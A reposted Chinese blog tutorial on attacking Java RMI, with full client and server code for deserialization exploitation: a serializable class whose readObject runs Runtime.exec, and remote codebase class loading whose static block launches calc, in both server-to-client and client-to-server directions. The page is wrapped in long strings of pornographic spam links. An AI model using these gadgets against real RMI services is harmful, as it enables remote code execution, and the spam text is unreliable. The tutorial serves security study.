日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > java >内容正文

java

java rmi jrmp_关于Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)看后的一些总结-1...

發布時間:2023/12/31 java 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 java rmi jrmp_关于Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)看后的一些总结-1... 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1.java rmi

關于rmi客戶端和服務端通信的過程,java的方法都實現在rmi服務端,客戶端實際上是通過訪問rmi注冊表拿到stub,然后再通過它調用服務端方法,那么調用方法時要傳遞參數,參數可以為一般類型,也可以為引用類型,那么如果為引用類型,就能夠利用服務端已經有的gaget chain來打server,因為參數實際上是序列化傳輸的,那么數據到達服務端后必定會經過反序列化。

客戶端:

RMIClient.java

packagecom.longofo.javarmi;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

public classRMIClient {

/**

* Java RMI惡意利用demo

*

* @param args

* @throws Exception

*/

public static void main(String[] args) throwsException {

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);

// 獲取遠程對象的引用

Services services = (Services) registry.lookup("Services");

PublicKnown malicious = newPublicKnown();

malicious.setParam("calc");

malicious.setMessage("haha");

// 使用遠程對象的引用調用對應的方法

System.out.println(services.sendMessage(malicious));

}

}

此時客戶端要打服務端,因此要將惡意的對象作為參數傳遞到服務端,此時序列化的對象將在服務端反序列化

publicKnown.java

packagecom.longofo.javarmi;

importjava.io.IOException;

importjava.io.ObjectInputStream;

importjava.io.Serializable;

public class PublicKnown extends Message implementsSerializable {

private static final long serialVersionUID = 7439581476576889858L;

privateString param;

public voidsetParam(String param) {

this.param =param;

}

private void readObject(ObjectInputStream in) throwsIOException, ClassNotFoundException {

in.defaultReadObject();

Runtime.getRuntime().exec(this.param);

}

}

此時要傳遞的惡意對象肯定要符合服務端參數類型的定義

服務端:

RMIServer.java

//RMIServer.java

packagecom.longofo.javarmi;

importjava.rmi.AlreadyBoundException;

importjava.rmi.RemoteException;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

importjava.rmi.server.UnicastRemoteObject;

public classRMIServer {

/**

* Java RMI 服務端

*

* @param args

*/

public static voidmain(String[] args) {

try{

// 實例化服務端遠程對象

ServicesImpl obj = newServicesImpl();

// 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理

Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

Registry reg;

try{

// 創建Registry

reg = LocateRegistry.createRegistry(9999);

System.out.println("java RMI registry created. port on 9999...");

} catch(Exception e) {

System.out.println("Using existing registry");

reg =LocateRegistry.getRegistry();

}

//綁定遠程對象到Registry

reg.bind("Services", services);

} catch(RemoteException e) {

e.printStackTrace();

} catch(AlreadyBoundException e) {

e.printStackTrace();

}

}

}

ServiceImpl.java

packagecom.longofo.javarmi;

importjava.rmi.RemoteException;

public class ServicesImpl implementsServices {

public ServicesImpl() throwsRemoteException {

}

@Override

public Object sendMessage(Message msg) throwsRemoteException {

returnmsg.getMessage();

}

}

Service.java

packagecom.longofo.javarmi;

importjava.rmi.RemoteException;

public interface Services extendsjava.rmi.Remote {

Object sendMessage(Message msg) throwsRemoteException;

}

Message.java

packagecom.longofo.javarmi;

importjava.io.Serializable;

public class Message implementsSerializable {

private static final long serialVersionUID = -6210579029160025375L;

privateString msg;

publicMessage() {

}

publicString getMessage() {

System.out.println("Processing message: " +msg);

returnmsg;

}

public voidsetMessage(String msg) {

this.msg =msg;

}

}

所以這里服務端存在漏洞的即為ServicesImpl類,其存在一個方法其入口參數為Message對象,并且這里Message這個類是繼承自Serializable,即可以進行反序列化。服務端通過bind()函數綁定遠程對象到RMI注冊表中,此時客戶端即可以訪問RMI注冊表拿到stub,即可調用服務端的方法,比如sendMessage()函數

此時先啟動RMIServer.java,然后再啟動RMIClient.java,即可達到打rmi服務端的效果,這里jdk版本為1.6

?

在服務端的readObject處下斷點,即可看到調用棧,經過ConnectHandler后就能夠確定服務端要反序列化的類名

接下來就是通過反射調用PublicKnown類的readObject方法 ,進而到達readObject內部的命令執行代碼段

所以這里客戶端肯定要知道服務端有哪些可以調用的方法,以及服務端被調用的方法入口參數要滿足要求,這里在現實情況中應該很少能夠遇到,這里肯定只作為例子來學習。當然反序列化的類可以是本地的gadget,這個例子的測試沒有jdk版本限制,在jdk1.8.202也可以成功,這些限制太大了。在這里實際上就是拿到ServicesImpl的引用,lookup函數查找的也一定是存在與rmi注冊表中存在的對象并拿到引用,并不是直接拷貝了一份該類的對象到本地來,拿到引用之后再去調用該類的方法,傳參到服務端,最后反序列化執行在服務端。

tip:服務端要綁定到rmi 注冊表的對象實現的接口必須繼承自remote,而該對象所對應的接口實現類必須繼承UnicastRemoteObject,否則需要使用靜態方法exportObject處理該對象

2.java rmi 動態加載類

2.1RMI服務端打客戶端

java rmi動態加載類,其實就是通過指定codebase來制定遠程的類倉庫,我們知道java在運行過程中需要類的時候可以在本地加載,即在classpath中找,那么也可以通過codebase來指定遠程庫。默認是不允許遠程加載的,如需加載則需要安裝RMISecurityManager并且配置java.security.policy。并且需要java.rmi.server.useCodebaseOnly 的值必需為false,當然這也是受jdk版本限制的。

RMIClient.java

packagecom.longofo.javarmi;

importjava.rmi.RMISecurityManager;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

public classRMIClient1 {

/**

* Java RMI惡意利用demo

*

* @param args

* @throws Exception

*/

public static void main(String[] args) throwsException {

//如果需要使用RMI的動態加載功能,需要開啟RMISecurityManager,并配置policy以允許從遠程加載類庫

System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());

RMISecurityManager securityManager = newRMISecurityManager();

System.setSecurityManager(securityManager);

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);

// 獲取遠程對象的引用

Services services = (Services) registry.lookup("Services");

Message message = newMessage();

message.setMessage("hahaha");

services.sendMessage(message);

}

}

此時RMI客戶端正常操作,傳入Message對象,并調用服務端sendMessage方法

ServiceImpl.java

packagecom.longofo.javarmi;

importcom.longofo.remoteclass.ExportObject;

importjava.rmi.RemoteException;

public class ServicesImpl1 implementsServices {

@Override

public ExportObject sendMessage(Message msg) throwsRemoteException {

return newExportObject();

}

}

可以看到此時服務端實現Services接口的類的sendMessage方法返回值為ExportObject類型,即該類的實例

ExportObject.java

//

// Source code recreated from a .class file by IntelliJ IDEA

// (powered by Fernflower decompiler)

//

packagecom.longofo.remoteclass;

importjava.io.BufferedInputStream;

importjava.io.BufferedReader;

importjava.io.InputStreamReader;

importjava.io.Serializable;

importjava.util.Hashtable;

importjavax.naming.Context;

importjavax.naming.Name;

importjavax.naming.spi.ObjectFactory;

public class ExportObject implementsObjectFactory, Serializable {

private static final long serialVersionUID = 4474289574195395731L;

publicExportObject() {

}

public static void exec(String cmd) throwsException {

String sb = "";

BufferedInputStream in = newBufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());

BufferedReader inBr;

String lineStr;

for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") {

}

inBr.close();

in.close();

}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throwsException {

return null;

}

static{

try{

exec("calc");

} catch(Exception var1) {

var1.printStackTrace();

}

}

}

這里實際上服務端返回的即為該ExportObject類的實例,該類是實現了對象工廠類,并且可以序列化的,所以可以通過jrmp進行傳輸,我們只需要將其編譯放在服務器端指定的codebase地址即可等待客戶端來加載,當客戶端遠程加載該類時將會實例化該類,即調用該類的static代碼段

RMIServer.java

packagecom.longofo.javarmi;

importjava.rmi.AlreadyBoundException;

importjava.rmi.RemoteException;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

importjava.rmi.server.UnicastRemoteObject;

public classRMIServer1 {

public static voidmain(String[] args) {

try{

// 實例化服務端遠程對象

ServicesImpl1 obj = newServicesImpl1();

// 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理

Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

//設置java.rmi.server.codebase

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

Registry reg;

try{

// 創建Registry

reg = LocateRegistry.createRegistry(9999);

System.out.println("java RMI registry created. port on 9999...");

} catch(Exception e) {

System.out.println("Using existing registry");

reg =LocateRegistry.getRegistry();

}

//綁定遠程對象到Registry

reg.bind("Services", services);

} catch(RemoteException e) {

e.printStackTrace();

} catch(AlreadyBoundException e) {

e.printStackTrace();

}

}

}

此時RMIServer端指定了客戶端codebase的地址,即客戶端反序列化ExportObject時需要加載該類,此時將通過服務端提供的codebase來加載

此時先啟動托管遠程類的服務端,將ExportObject.class放在codebase指定的位置,這里要注意包名要和目錄名相一致

然后啟動RMI服務端,啟動RMI客戶端,即完成了客戶端要調用sendMessage方法,此時服務端返回了ExportObject對象,客戶端發現返回的是ExportObject對象后,那將在本地的classpath中沒找到該類,則通過服務端指定的codebase來加載該類,加載該類的后將實例化該類,從而觸發calc

此時托管class的http服務端也收到了加載class文件的請求

這種方法相對于第一種來說打客戶端只需要拿到RMI中對象的引用,調用服務器上的方法即可,這里服務器是攻擊者控制的,只需要在方法中返回惡意對象即可,當然如前面所說,這里是需要securitManager和

useCodebaseOnly為false以及jdk限制的,這里是服務端指定javacodebase的。

2.2RMI客戶端打服務端

RMIClient.java

packagecom.longofo.javarmi;

importcom.longofo.remoteclass.ExportObject1;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

public classRMIClient2 {

public static void main(String[] args) throwsException {

System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);

// 獲取遠程對象的引用

Services services = (Services) registry.lookup("Services");

ExportObject1 exportObject1 = newExportObject1();

exportObject1.setMessage("hahaha");

services.sendMessage(exportObject1);

}

}

上面RMI客戶端打RMI服務端是服務端來指定codebase地址供客戶端參考,客戶端來加載codebase地址的class文件,那么從上面這段代碼可以看到此時是客戶端指定了codebase地址,那么當然服務端就得從客戶端指定的codebase來加載class了,可以看到此時客戶端調用服務端的sendMessage函數傳遞的是ExportObject1對象

ExportObject1.java

packagecom.longofo.remoteclass;

importcom.longofo.javarmi.Message;

importjavax.naming.Context;

importjavax.naming.Name;

importjavax.naming.spi.ObjectFactory;

importjava.io.Serializable;

importjava.util.Hashtable;

public class ExportObject1 extends Message implementsObjectFactory, Serializable {

private static final long serialVersionUID = 4474289574195395731L;

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) throwsException {

return null;

}

}

此時該類繼承自Message類,實現對象工廠接口,并且支持序列化

ServiceImpl.java

packagecom.longofo.javarmi;

importjava.rmi.RemoteException;

public class ServicesImpl implementsServices {

public ServicesImpl() throwsRemoteException {

}

@Override

public Object sendMessage(Message msg) throwsRemoteException {

returnmsg.getMessage();

}

}

RMIServer.java

//RMIServer2.java

packagecom.longofo.javarmi;

importjava.rmi.AlreadyBoundException;

importjava.rmi.RMISecurityManager;

importjava.rmi.RemoteException;

importjava.rmi.registry.LocateRegistry;

importjava.rmi.registry.Registry;

importjava.rmi.server.UnicastRemoteObject;

public classRMIServer2 {

/**

* Java RMI 服務端

*

* @param args

*/

public static voidmain(String[] args) {

try{

// 實例化服務端遠程對象

ServicesImpl obj = newServicesImpl();

// 沒有繼承UnicastRemoteObject時需要使用靜態方法exportObject處理

Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

Registry reg;

try{

//如果需要使用RMI的動態加載功能,需要開啟RMISecurityManager,并配置policy以允許從遠程加載類庫

System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());

RMISecurityManager securityManager = newRMISecurityManager();

System.setSecurityManager(securityManager);

// 創建Registry

reg = LocateRegistry.createRegistry(9999);

System.out.println("java RMI registry created. port on 9999...");

} catch(Exception e) {

System.out.println("Using existing registry");

reg =LocateRegistry.getRegistry();

}

//綁定遠程對象到Registry

reg.bind("Services", services);

} catch(RemoteException e) {

e.printStackTrace();

} catch(AlreadyBoundException e) {

e.printStackTrace();

}

}

}

可以由以上代碼看到,此時RMI服務端綁定的services接口對應的ServicesImpl.java中sendMessage函數將會調用入口參數Message類型對象的getmessage函數,這里方法體內容是什么并不重要,因為這種打法和第一節中的打法一樣,都是打RMI服務端,區別是第一節是利用RMI服務端本地的gaget chain,而這里則是利用遠程類加載,通過客戶端指定的codebase來打RMI服務端。

所以此時codebase的地址也將受到請求ExportObject1.class的請求,因為服務端發現穿送過來的ExportObject1類classpath里面沒有,所有就會通過客戶端指定的codebase加載,從而實例化該惡意ExportObject1類,執行static代碼塊的命令

所以上面兩個例子,客戶端打RMI服務端,以及RMI服務端打客戶端都是利用RMI的調用過程:

1.客戶端打RMI服務端,客戶端調用服務端方法,此時傳給服務端的的參數可控則可能存在風險(這種條件挺難滿足)

2.RMI打客戶端,RMI服務端返回給客戶端的結果是服務端可控的,則該結果則可能存在風險(lookup可控,并且惡意RMI服務端也要自己實現)

和以前分析其他漏洞時的邏輯還是比較相似的,可控即可能存在風險

關于客戶端和服務端互打里面,因為要傳遞序列化的對象,序列化的過程中要知道serialVersionUID,要傳遞的反序列化的對象的包名,類名必須要與服務端一致,這里serialVersionID在https://www.freebuf.com/vuls/126499.html這篇文章中說第一次不傳遞id參數服務端將會返回id值,但是我本地測jdk1.6.01這里客戶端不加id值,也能夠打成功。

RMI-JRMP

上面說的RMI通信過程中假設客戶端在與RMI服務端通信中,雖然也是在JRMP協議上進行通信,嘗試傳輸序列化的惡意對象到服務端,此時服務端若也返回客戶端一個惡意序列化的對象,那么客戶端也可能被攻擊,利用JRMP就可以利用socket進行通信,客戶端直接利用JRMP協議發送數據,而不用接受服務端的返回,因此這種攻擊方式也更加安全。

比如服務端此時啟用RMI服務:

jdk1.7.0_25

?

如有錯誤,務必請指出。

創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

總結

以上是生活随笔為你收集整理的java rmi jrmp_关于Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)看后的一些总结-1...的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 国产12页| 女女同性女同一区二区三区按摩 | 久久久久久免费毛片精品 | 久久中文字幕无码 | 亚洲丝袜在线视频 | 天天看片天天爽 | 超碰在线播放97 | 国产在线天堂 | 国产模特av私拍大尺度 | 伦理片中文字幕 | 日b视频免费观看 | 亚洲欧洲av在线 | 中国少妇av | 一区福利| 亚洲欧美综合视频 | 国产香蕉网 | 国内偷拍久久 | 亚洲国产精品久久久久婷蜜芽 | 中文字幕日韩欧美一区二区三区 | 人人天天夜夜 | 国产欧美亚洲一区 | 色综综| 91视频成人免费 | 成人污 | 91高清免费视频 | 久久狠狠婷婷 | 欧美一区在线观看视频 | 久久精品一区二区三区黑人印度 | 国产成人91 | 中文不卡在线 | 毛片毛片毛片毛片毛片毛片毛片毛片毛片 | 国内自拍区| 日本午夜激情视频 | 久久天堂电影 | 日本国产在线播放 | 免费色片 | 色女人影院 | 日本日皮视频 | 在线毛片观看 | 黑丝美女一区二区 | 88av视频 | 亚洲一区二区三区免费看 | 精品美女一区二区三区 | www亚洲精品 | 国产乱子轮xxx农村 岛国久久久 | 四虎在线免费视频 | xxxxx在线观看 | 精品久久久久久亚洲精品 | 窝窝在线视频 | 少妇一级视频 | 老熟妇午夜毛片一区二区三区 | 免费精品久久 | 久久精品牌麻豆国产大山 | www一起操| av成人免费观看 | 911精品 | 亚洲精品视频在线看 | 岳奶大又白下面又肥又黑水多 | 成人激情av | 97超碰97 | 91尤物在线| 天天想你免费观看完整版高清电影 | 色网站免费在线观看 | 精品人妻无码一区二区三区 | 波多野结衣福利 | 欧美a久久| 久久成人乱码欧美精品一区二区 | 国产伦精品一区二区三区在线观看 | 日韩精品成人 | 黄色三级三级三级三级 | 欧美日韩精品中文字幕 | 成人在线免费 | 欧美午夜精品一区二区 | 天天操狠狠操夜夜操 | 麻豆精品一区 | 日韩亚洲在线 | 手机在线亚洲 | 制服丝袜在线一区 | 激情小说亚洲图片 | 免费中文字幕 | 久久综合国产精品 | 亚洲国产aⅴ精品一区二区的游戏 | 久久久久97| 好看的黄色录像 | 国产精品揄拍100视频 | 国产一级理论 | 日本成人在线免费观看 | 日韩伦理一区二区三区 | 欧美一性一乱一交一视频 | 五月色婷| 久久久久久久综合色一本 | 理论片91 | 天天操中文字幕 | 天堂8中文在线 | 韩日欧美 | 亚洲欧美在线视频观看 | 好吊视频一区二区 | 中文一区二区在线观看 | 色屁屁在线 |